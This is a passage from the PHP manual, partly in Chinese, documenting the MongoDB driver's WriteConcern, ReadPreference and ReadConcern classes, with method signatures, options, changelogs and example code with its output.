MongoDB\Driver\WriteConcern::getWtimeout — Returns the WriteConcern's "wtimeout" option

说明

final public MongoDB\Driver\WriteConcern::getWtimeout(): int

参数

此函数没有参数。

返回值

Returns the WriteConcern's "wtimeout" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.7.0 | On 32-bit systems, this method will always truncate the wTimeout value if it exceeds the 32-bit range. In that case, a warning will be emitted.

示例

Example #1 MongoDB\Driver\WriteConcern::getWtimeout() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getWtimeout());

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 3000);
var_dump($wc->getWtimeout());

?>

以上示例会输出：

int(0)
int(3000)

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Checks if this is the default write concern

  • ? MongoDB\Driver\WriteConcern::getWtimeout
  • MongoDB\Driver\WriteConcern::serialize ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Checks if this is the default write concern

MongoDB\Driver\WriteConcern::isDefault

(mongodb >=1.3.0)

MongoDB\Driver\WriteConcern::isDefault — Checks if this is the default write concern

说明

final public MongoDB\Driver\WriteConcern::isDefault(): bool

Returns whether this is the default write concern (i.e. no options are specified). This method is primarily intended to be used in conjunction with MongoDB\Driver\Manager::getWriteConcern() to determine whether the Manager has been constructed without any write concern options.

The driver will not include a default write concern in its write operations (e.g. MongoDB\Driver\Manager::executeBulkWrite()) in order to allow the server to apply its own default, which may have been » modified. Libraries that access the Manager's write concern to include it in their own write commands should use this method to ensure that default write concerns are left unset.

参数

此函数没有参数。

返回值

Returns true if this is the default write concern and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcern::isDefault() example

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/?w=majority');
$wc = $manager->getWriteConcern();
var_dump($wc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/');
$wc = $manager->getWriteConcern();
var_dump($wc->isDefault());

?>

以上示例会输出：

bool(false)
bool(false)
bool(true)

参见

  • MongoDB\Driver\Manager::getWriteConcern() - Return the WriteConcern for the Manager
  • » Modify Default Write Concern in the MongoDB manual
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Serialize a WriteConcern

  • ? MongoDB\Driver\WriteConcern::isDefault
  • MongoDB\Driver\WriteConcern::unserialize ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Serialize a WriteConcern

MongoDB\Driver\WriteConcern::serialize

(mongodb >=1.7.0)

MongoDB\Driver\WriteConcern::serialize — Serialize a WriteConcern

说明

final public MongoDB\Driver\WriteConcern::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\Driver\WriteConcern.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\WriteConcern::unserialize() - Unserialize a WriteConcern
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a WriteConcern

  • ? MongoDB\Driver\WriteConcern::serialize
  • MongoDB\Driver\ReadPreference ?
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Unserialize a WriteConcern

MongoDB\Driver\WriteConcern::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\WriteConcern::unserialize — Unserialize a WriteConcern

说明

final public MongoDB\Driver\WriteConcern::unserialize(string $data): void

参数

data

The serialized MongoDB\Driver\WriteConcern.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\Driver\WriteConcern::serialize() - Serialize a WriteConcern
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ReadPreference class

(mongodb >=1.0.0)

简介

类摘要

final class MongoDB\Driver\ReadPreference implements MongoDB\BSON\Serializable, Serializable {
/* 常量 */
const int RP_PRIMARY = 1;
const int RP_PRIMARY_PREFERRED = 5;
const int RP_SECONDARY = 2;
const int RP_SECONDARY_PREFERRED = 6;
const int RP_NEAREST = 10;
const string PRIMARY = primary;
const string PRIMARY_PREFERRED = primaryPreferred;
const string SECONDARY = secondary;
const string SECONDARY_PREFERRED = secondaryPreferred;
const string NEAREST = nearest;
const int NO_MAX_STALENESS = -1;
const int SMALLEST_MAX_STALENESS_SECONDS = 90;
/* 方法 */
final public bsonSerialize(): stdClass
final public __construct(string|int $mode, ?array $tagSets = null, ?array $options = null)
final public getHedge(): ?object
final public getMaxStalenessSeconds(): int
final public getMode(): int
final public getModeString(): string
final public getTagSets(): array
final public serialize(): string
final public unserialize(string $data): void
}

预定义常量

MongoDB\Driver\ReadPreference::RP_PRIMARY

All operations read from the current replica set primary. This is the default read preference for MongoDB.

MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED

In most situations, operations read from the primary but if it is unavailable, operations read from secondary members.

MongoDB\Driver\ReadPreference::RP_SECONDARY

All operations read from the secondary members of the replica set.

MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED

In most situations, operations read from secondary members but if no secondary members are available, operations read from the primary.

MongoDB\Driver\ReadPreference::RP_NEAREST

Operations read from member of the replica set with the least network latency, irrespective of the member's type.

MongoDB\Driver\ReadPreference::PRIMARY

All operations read from the current replica set primary. This is the default read preference for MongoDB.

MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED

In most situations, operations read from the primary but if it is unavailable, operations read from secondary members.

MongoDB\Driver\ReadPreference::SECONDARY

All operations read from the secondary members of the replica set.

MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED

In most situations, operations read from secondary members but if no secondary members are available, operations read from the primary.

MongoDB\Driver\ReadPreference::NEAREST

Operations read from member of the replica set with the least network latency, irrespective of the member's type.

MongoDB\Driver\ReadPreference::NO_MAX_STALENESS

The default value for the "maxStalenessSeconds" option is to specify no limit on maximum staleness, which means that the driver will not consider a secondary's lag when choosing where to direct a read operation.

MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS

The minimum value for the "maxStalenessSeconds" option is 90 seconds. The driver estimates secondaries' staleness by periodically checking the latest write date of each replica set member. Since these checks are infrequent, the staleness estimate is coarse. Thus, the driver cannot enforce a max staleness value of less than 90 seconds.

更新日志

版本 | 说明
PECL mongodb 1.7.0 | Added the MongoDB\Driver\ReadPreference::PRIMARY, MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED, MongoDB\Driver\ReadPreference::SECONDARY, MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED, MongoDB\Driver\ReadPreference::NEAREST constants. Implements Serializable.
PECL mongodb 1.2.0 | Added the MongoDB\Driver\ReadPreference::NO_MAX_STALENESS and MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS constants. Implements MongoDB\BSON\Serializable.

Table of Contents

  • MongoDB\Driver\ReadPreference::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\ReadPreference::__construct — Create a new ReadPreference
  • MongoDB\Driver\ReadPreference::getHedge — Returns the ReadPreference's "hedge" option
  • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Returns the ReadPreference's "maxStalenessSeconds" option
  • MongoDB\Driver\ReadPreference::getMode — Returns the ReadPreference's "mode" option
  • MongoDB\Driver\ReadPreference::getModeString — Returns the ReadPreference's "mode" option as a string
  • MongoDB\Driver\ReadPreference::getTagSets — Returns the ReadPreference's "tagSets" option
  • MongoDB\Driver\ReadPreference::serialize — Serialize a ReadPreference
  • MongoDB\Driver\ReadPreference::unserialize — Unserialize a ReadPreference

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ? MongoDB\Driver\ReadPreference
  • MongoDB\Driver\ReadPreference::__construct ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns an object for BSON serialization

MongoDB\Driver\ReadPreference::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\ReadPreference::bsonSerialize — Returns an object for BSON serialization

说明

final public MongoDB\Driver\ReadPreference::bsonSerialize(): stdClass

参数

此函数没有参数。

返回值

Returns an object for serializing the ReadPreference as BSON.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadPreference::bsonSerialize() with primary read preference

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

以上示例的输出类似于：

object(stdClass)#2 (1) {
  ["mode"]=>
  string(7) "primary"
}

{ "mode" : "primary" }

Example #2 MongoDB\Driver\ReadPreference::bsonSerialize() with secondary read preference and tag sets

<?php

$rp = new MongoDB\Driver\ReadPreference(
MongoDB\Driver\ReadPreference::RP_SECONDARY,
[
['dc' => 'ny'],
['dc' => 'sf', 'use' => 'reporting'],
[]
]
);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

以上示例的输出类似于：

object(stdClass)#2 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["tags"]=>
  array(3) {
    [0]=>
    object(stdClass)#1 (1) {
      ["dc"]=>
      string(2) "ny"
    }
    [1]=>
    object(stdClass)#5 (2) {
      ["dc"]=>
      string(2) "sf"
      ["use"]=>
      string(9) "reporting"
    }
    [2]=>
    object(stdClass)#4 (0) {
    }
  }
}

{ "mode" : "secondary", "tags" : [ { "dc" : "ny" }, { "dc" : "sf", "use" : "reporting" }, {  } ] }

Example #3 MongoDB\Driver\ReadPreference::bsonSerialize() with secondary read preference and max staleness

<?php

$rp = new MongoDB\Driver\ReadPreference(
MongoDB\Driver\ReadPreference::RP_SECONDARY,
null,
['maxStalenessSeconds' => 120]
);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

以上示例的输出类似于：

object(stdClass)#2 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["maxStalenessSeconds"]=>
  int(120)
}

{ "mode" : "secondary", "maxStalenessSeconds" : 120 }

参见

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Create a new ReadPreference

  • ? MongoDB\Driver\ReadPreference::bsonSerialize
  • MongoDB\Driver\ReadPreference::getHedge ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Create a new ReadPreference

MongoDB\Driver\ReadPreference::__construct

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::__construct — Create a new ReadPreference

说明

final public MongoDB\Driver\ReadPreference::__construct(string|int $mode, ?array $tagSets = null, ?array $options = null)

Constructs a new MongoDB\Driver\ReadPreference, which is an immutable value object.

参数

mode

Read preference mode
Value Description
MongoDB\Driver\ReadPreference::RP_PRIMARY or "primary"

All operations read from the current replica set primary. This is the default read preference for MongoDB.

MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED or "primaryPreferred"

In most situations, operations read from the primary but if it is unavailable, operations read from secondary members.

MongoDB\Driver\ReadPreference::RP_SECONDARY or "secondary"

All operations read from the secondary members of the replica set.

MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED or "secondaryPreferred"

In most situations, operations read from secondary members but if no secondary members are available, operations read from the primary.

MongoDB\Driver\ReadPreference::RP_NEAREST or "nearest"

Operations read from member of the replica set with the least network latency, irrespective of the member's type.

tagSets

Tag sets allow you to target read operations to specific members of a replica set. This parameter should be an array of associative arrays, each of which contain zero or more key/value pairs. When selecting a server for a read operation, the driver attempt to select a node having all tags in a set (i.e. the associative array of key/value pairs). If selection fails, the driver will attempt subsequent sets. An empty tag set (array()) will match any node and may be used as a fallback.

Tags are not compatible with the MongoDB\Driver\ReadPreference::RP_PRIMARY mode and, in general, only apply when selecting a secondary member of a set for a read operation. However, the MongoDB\Driver\ReadPreference::RP_NEAREST mode, when combined with a tag set, selects the matching member with the lowest network latency. This member may be a primary or secondary.

options

options
Option Type Description
hedge object|array

Specifies whether to use » hedged reads, which are supported by MongoDB 4.4+ for sharded queries.

Server hedged reads are available for all non-primary read preferences and are enabled by default when using the "nearest" mode. This option allows explicitly enabling server hedged reads for non-primary read preferences by specifying ['enabled' => true], or explicitly disabling server hedged reads for the "nearest" read preference by specifying ['enabled' => false].

maxStalenessSeconds int

Specifies a maximum replication lag, or "staleness", for reads from secondaries. When a secondary's estimated staleness exceeds this value, the driver stops using it for read operations.

If specified, the max staleness must be a signed 32-bit integer greater than or equal to MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS.

Defaults to MongoDB\Driver\ReadPreference::NO_MAX_STALENESS, which means that the driver will not consider a secondary's lag when choosing where to direct a read operation.

This option is not compatible with the MongoDB\Driver\ReadPreference::RP_PRIMARY mode. Specifying a max staleness also requires all MongoDB instances in the deployment to be using MongoDB 3.4+. An exception will be thrown at execution time if any MongoDB instances in the deployment are of an older server version.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if mode is invalid.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if tagSets is provided for a primary read preference or is malformed (i.e. not an array of zero or more documents).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "maxStalenessSeconds" option is provided for a primary read preference or is out of range.

更新日志

版本 | 说明
PECL mongodb 1.8.0 | Added the "hedge" option.
PECL mongodb 1.3.0 | The mode argument now accepts a string value, which is consistent with the "readPreference" URI option for MongoDB\Driver\Manager::__construct().
PECL mongodb 1.2.0 | Added a third options argument, which supports the "maxStalenessSeconds" option.

示例

Example #1 MongoDB\Driver\ReadPreference::__construct() example

<?php

/* Prefer a secondary node but fall back to a primary. */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED));

/* Prefer a node in the New York data center with lowest latency. */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_NEAREST, [['dc' => 'ny']]));

/* Require a secondary node whose replication lag is within two minutes of the primary */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, ['maxStalenessSeconds' => 120]));

/* Explicitly enable server hedged reads */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, ['hedge' => ['enabled' => true]]));

?>

以上示例会输出：

object(MongoDB\Driver\ReadPreference)#1 (1) {
  ["mode"]=>
  string(18) "secondaryPreferred"
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(7) "nearest"
  ["tags"]=>
  array(1) {
    [0]=>
    object(stdClass)#2 (1) {
      ["dc"]=>
      string(2) "ny"
    }
  }
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["maxStalenessSeconds"]=>
  int(120)
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["hedge"]=>
  object(stdClass)#1 (1) {
    ["enabled"]=>
    bool(true)
  }
}

参见

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "hedge" option

  • ? MongoDB\Driver\ReadPreference::__construct
  • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "hedge" option

MongoDB\Driver\ReadPreference::getHedge

(mongodb >=1.8.0)

MongoDB\Driver\ReadPreference::getHedge — Returns the ReadPreference's "hedge" option

说明

final public MongoDB\Driver\ReadPreference::getHedge(): ?object

参数

此函数没有参数。

返回值

Returns the ReadPreference's "hedge" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "maxStalenessSeconds" option

  • ? MongoDB\Driver\ReadPreference::getHedge
  • MongoDB\Driver\ReadPreference::getMode ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "maxStalenessSeconds" option

MongoDB\Driver\ReadPreference::getMaxStalenessSeconds

(mongodb >=1.2.0)

MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Returns the ReadPreference's "maxStalenessSeconds" option

说明

final public MongoDB\Driver\ReadPreference::getMaxStalenessSeconds(): int

参数

此函数没有参数。

返回值

Returns the ReadPreference's "maxStalenessSeconds" option. If no max staleness has been specified, MongoDB\Driver\ReadPreference::NO_MAX_STALENESS will be returned.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadPreference::getMaxStalenessSeconds() example

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
'maxStalenessSeconds' => MongoDB\Driver\ReadPreference::NO_MAX_STALENESS,
]);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
'maxStalenessSeconds' => MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS,
]);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
'maxStalenessSeconds' => 1000,
]);
var_dump($rp->getMaxStalenessSeconds());

?>

以上示例会输出：

int(-1)
int(-1)
int(90)
int(1000)

参见

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "mode" option

  • ? MongoDB\Driver\ReadPreference::getMaxStalenessSeconds
  • MongoDB\Driver\ReadPreference::getModeString ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "mode" option

MongoDB\Driver\ReadPreference::getMode

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::getMode — Returns the ReadPreference's "mode" option

说明

final public MongoDB\Driver\ReadPreference::getMode(): int

参数

此函数没有参数。

返回值

Returns the ReadPreference's "mode" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadPreference::getMode() example

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_NEAREST);
var_dump($rp->getMode());

?>

以上示例会输出：

int(1)
int(5)
int(2)
int(6)
int(10)

参见

  • MongoDB\Driver\ReadPreference::getModeString() - Returns the ReadPreference's "mode" option as a string
  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "mode" option as a string

  • ? MongoDB\Driver\ReadPreference::getMode
  • MongoDB\Driver\ReadPreference::getTagSets ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "mode" option as a string

MongoDB\Driver\ReadPreference::getModeString

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::getModeString — Returns the ReadPreference's "mode" option as a string

说明

final public MongoDB\Driver\ReadPreference::getModeString(): string

参数

此函数没有参数。

返回值

Returns the ReadPreference's "mode" option as a string.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadPreference::getModeString() example

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::PRIMARY);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::SECONDARY);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::NEAREST);
var_dump($rp->getModeString());

?>

以上示例会输出：

string(7) "primary"
string(16) "primaryPreferred"
string(9) "secondary"
string(18) "secondaryPreferred"
string(7) "nearest"

参见

  • MongoDB\Driver\ReadPreference::getMode() - Returns the ReadPreference's "mode" option
  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "tagSets" option

  • ? MongoDB\Driver\ReadPreference::getModeString
  • MongoDB\Driver\ReadPreference::serialize ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "tagSets" option

MongoDB\Driver\ReadPreference::getTagSets

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::getTagSets — Returns the ReadPreference's "tagSets" option

说明

final public MongoDB\Driver\ReadPreference::getTagSets(): array

参数

此函数没有参数。

返回值

Returns the ReadPreference's "tagSets" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadPreference::getTagSets() example

<?php

$mode = MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED;

/* Null and an empty array both denote no tag set preference. */
$rp = new MongoDB\Driver\ReadPreference($mode, null);
var_dump($rp->getTagSets());

$rp = new MongoDB\Driver\ReadPreference($mode, []);
var_dump($rp->getTagSets());

/* Prefer a node in New York, but fall back to any available node. */
$rp = new MongoDB\Driver\ReadPreference($mode, [['dc' => 'ny']]);
var_dump($rp->getTagSets());

/* Prefer a node in the New York, followed by a node in San Francisco that is
labeled for reporting usage, and finally fall back to any available node. */
$rp = new MongoDB\Driver\ReadPreference($mode, [
['dc' => 'ny'],
['dc' => 'sf', 'use' => 'reporting'],
[],
]);
var_dump($rp->getTagSets());

?>

以上示例会输出：

array(0) {
}
array(0) {
}
array(2) {
  [0]=>
  array(1) {
    ["dc"]=>
    string(2) "ny"
  }
  [1]=>
  array(0) {
  }
}
array(3) {
  [0]=>
  array(1) {
    ["dc"]=>
    string(2) "ny"
  }
  [1]=>
  array(2) {
    ["dc"]=>
    string(2) "sf"
    ["use"]=>
    string(9) "reporting"
  }
  [2]=>
  array(0) {
  }
}

参见

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Serialize a ReadPreference

  • ? MongoDB\Driver\ReadPreference::getTagSets
  • MongoDB\Driver\ReadPreference::unserialize ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Serialize a ReadPreference

MongoDB\Driver\ReadPreference::serialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::serialize — Serialize a ReadPreference

说明

final public MongoDB\Driver\ReadPreference::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\Driver\ReadPreference.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\ReadPreference::unserialize() - Unserialize a ReadPreference
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a ReadPreference

  • ? MongoDB\Driver\ReadPreference::serialize
  • MongoDB\Driver\ReadConcern ?
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Unserialize a ReadPreference

MongoDB\Driver\ReadPreference::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::unserialize — Unserialize a ReadPreference

说明

final public MongoDB\Driver\ReadPreference::unserialize(string $data): void

参数

data

The serialized MongoDB\Driver\ReadPreference.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\Driver\ReadPreference::serialize() - Serialize a ReadPreference
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ReadConcern class

(mongodb >=1.1.0)

简介

MongoDB\Driver\ReadConcern controls the level of isolation for read operations for replica sets and replica set shards. This option requires MongoDB 3.2 or later.

类摘要

final class MongoDB\Driver\ReadConcern implements MongoDB\BSON\Serializable, Serializable {
/* 常量 */
const string AVAILABLE = "available";
const string LINEARIZABLE = "linearizable";
const string LOCAL = "local";
const string MAJORITY = "majority";
const string SNAPSHOT = "snapshot";
/* 方法 */
final public bsonSerialize(): stdClass
final public __construct(?string $level = null)
final public getLevel(): ?string
final public isDefault(): bool
final public serialize(): string
final public unserialize(string $data): void
}

预定义常量

MongoDB\Driver\ReadConcern::AVAILABLE

Default for reads against secondaries when afterClusterTimeand level are unspecified.

The query returns the instance's most recent data. Provides no guarantee that the data has been written to a majority of the replica set members (i.e. may be rolled back).

For unsharded collections (including collections in a standalone deployment or a replica set deployment), "local" and "available" read concerns behave identically.

For a sharded cluster, "available" read concern provides greater tolerance for partitions since it does not wait to ensure consistency guarantees. However, a query with "available" read concern may return orphan documents if the shard is undergoing chunk migrations since the "available" read concern, unlike "local" read concern, does not contact the shard's primary nor the config servers for updated metadata.

MongoDB\Driver\ReadConcern::LINEARIZABLE

The query returns data that reflects all successful writes issued with a write concern of "majority" and acknowledged prior to the start of the read operation. For replica sets that run with writeConcernMajorityJournalDefault set to true, linearizable read concern returns data that will never be rolled back.

With writeConcernMajorityJournalDefault set to false, MongoDB will not wait for w: "majority" writes to be durable before acknowledging the writes. As such, "majority" write operations could possibly roll back in the event of a loss of a replica set member.

You can specify linearizable read concern for read operations on the primary only.

Linearizable read concern guarantees only apply if read operations specify a query filter that uniquely identifies a single document.

Tip

Always use maxTimeMS with linearizable read concern in case a majority of data bearing members are unavailable. maxTimeMS ensures that the operation does not block indefinitely and instead ensures that the operation returns an error if the read concern cannot be fulfilled.

Linearizable read concern requires MongoDB 3.4.

MongoDB\Driver\ReadConcern::LOCAL

Default for reads against primary if level is unspecified and for reads against secondaries if level is unspecified but afterClusterTime is specified.

The query returns the instance's most recent data. Provides no guarantee that the data has been written to a majority of the replica set members (i.e. may be rolled back).

MongoDB\Driver\ReadConcern::MAJORITY

The query returns the instance's most recent data acknowledged as having been written to a majority of members in the replica set.

To use read concern level of "majority", replica sets must use WiredTiger storage engine and election protocol version 1.

MongoDB\Driver\ReadConcern::SNAPSHOT

Read concern "snapshot" is available for multi-document transactions, and starting in MongoDB 5.0, certain read operations outside of multi-document transactions.

If the transaction is not part of a causally consistent session, upon transaction commit with write concern "majority", the transaction operations are guaranteed to have read from a snapshot of majority-committed data.

If the transaction is part of a causally consistent session, upon transaction commit with write concern "majority", the transaction operations are guaranteed to have read from a snapshot of majority-committed data that provides causal consistency with the operation immediately preceding the transaction start.

Outside of multi-document transactions, read concern "snapshot" is available on primaries and secondaries for the following read operations: find, aggregate, and distinct (on unsharded collections). All other read commands prohibit "snapshot".

更新日志

版本 | 说明
PECL mongodb 1.11.0 | Added the MongoDB\Driver\ReadConcern::SNAPSHOT constant.
PECL mongodb 1.7.0 | Implements Serializable.
PECL mongodb 1.4.0 | Added the MongoDB\Driver\ReadConcern::AVAILABLE constant.
PECL mongodb 1.2.0 | Added the MongoDB\Driver\ReadConcern::LINEARIZABLE constant. Implements MongoDB\BSON\Serializable.

参见

  • » Read Concern reference

Table of Contents

  • MongoDB\Driver\ReadConcern::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\ReadConcern::__construct — Create a new ReadConcern
  • MongoDB\Driver\ReadConcern::getLevel — Returns the ReadConcern's "level" option
  • MongoDB\Driver\ReadConcern::isDefault — Checks if this is the default read concern
  • MongoDB\Driver\ReadConcern::serialize — Serialize a ReadConcern
  • MongoDB\Driver\ReadConcern::unserialize — Unserialize a ReadConcern

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ? MongoDB\Driver\ReadConcern
  • MongoDB\Driver\ReadConcern::__construct ?
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Returns an object for BSON serialization

MongoDB\Driver\ReadConcern::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\ReadConcern::bsonSerialize — Returns an object for BSON serialization

说明

final public MongoDB\Driver\ReadConcern::bsonSerialize(): stdClass

参数

此函数没有参数。

返回值

Returns an object for serializing the ReadConcern as BSON.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadConcern::bsonSerialize() with empty read concern

<?php

$rc = new MongoDB\Driver\ReadConcern;
var_dump($rc->bsonSerialize());

